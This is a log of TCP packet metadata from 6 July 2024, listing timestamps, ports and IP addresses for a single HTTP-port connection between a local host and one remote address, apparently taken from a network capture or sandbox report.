Jul 6, 2024 14:10:00.033915997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034245014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034266949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034277916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034300089 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034321070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034368992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034413099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034523010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034573078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034610033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034621954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034646988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034657955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034683943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034693956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034723043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034780025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034801006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034821987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034833908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034856081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034868956 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.034888983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.034904003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035015106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035059929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035088062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035120964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035235882 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035244942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035279989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035290003 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035307884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035317898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035346031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035403967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035429955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035443068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035455942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035506010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035515070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035548925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035557985 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035600901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035610914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035640955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035737991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035780907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035800934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035861015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035928011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035944939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035955906 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.035960913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035979033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.035991907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036019087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036053896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036088943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036097050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036122084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036132097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036317110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036325932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036349058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036365986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036367893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036403894 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036447048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036489964 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036573887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036596060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036603928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036606073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036629915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036654949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036737919 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036747932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036772013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036783934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036922932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036931992 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.036961079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036977053 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.036997080 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.037005901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.037034035 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.037311077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.037321091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.037331104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.037357092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.037385941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.226788998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.226807117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.226815939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.226887941 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.226897955 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.226998091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.226998091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227019072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227029085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227039099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227057934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227077007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227099895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227135897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227365017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227391005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227402925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227413893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227636099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227646112 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227655888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227677107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227700949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227737904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227750063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227777004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227787971 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227849960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227859020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227874994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227890015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227910042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.227952957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.227987051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.228086948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.228095055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.228121996 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.228132963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.228204966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.228240013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.228287935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.228324890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.228972912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.228985071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.228993893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229008913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229020119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229038954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229074001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229089975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229099035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229110003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229118109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229119062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229142904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229157925 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229219913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229228973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229262114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229263067 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229270935 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229275942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229296923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229309082 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229350090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229361057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229383945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229393959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229851007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229872942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229883909 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.229890108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229902029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.229919910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230017900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230029106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230038881 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230050087 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230063915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230122089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230145931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230155945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230164051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230187893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230187893 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230220079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230262995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230299950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230333090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230341911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230366945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230370998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230375051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230407000 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230722904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230760098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230762959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230773926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230793953 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230801105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230811119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230834007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230859995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230896950 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230928898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230940104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.230961084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230969906 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.230993032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.231002092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.231025934 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.231036901 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.231342077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.231383085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.231426954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.231437922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.231452942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.231462955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.231477022 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.231487036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.231873035 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.231913090 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.231916904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.231950045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.232069016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.232078075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.232086897 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.232106924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.232111931 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.232124090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.232126951 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.232145071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.232165098 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423254013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423271894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423281908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423356056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423365116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423365116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423376083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423386097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423397064 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423474073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423521042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423521042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423521042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423521996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423548937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423548937 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423664093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423705101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423798084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423834085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423844099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423880100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.423969984 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423980951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.423990011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424015045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424021959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424037933 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424052954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424073935 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424082994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424115896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424132109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424140930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424168110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424180031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424458027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424490929 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424500942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424500942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424525976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424535990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424535990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424545050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.424571037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.424585104 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425333977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425343990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425354004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425384998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425395012 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425404072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425417900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425427914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425443888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425451994 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425452948 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425462008 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425471067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425477028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425481081 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425486088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425518036 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425582886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425592899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425602913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425612926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425621986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425632954 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425657034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425714970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425723076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425754070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425827980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425839901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425858021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.425869942 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425890923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.425996065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426014900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426034927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426054001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426158905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426182032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426191092 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426198959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426218033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426218987 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426234007 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426248074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426301003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426314116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426345110 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426578045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426618099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426625967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426659107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426718950 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426728964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426758051 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426820040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426829100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426866055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426929951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426945925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:00.426965952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:00.426980972 CEST	49732	80	192.168.2.4	211.108.60.155
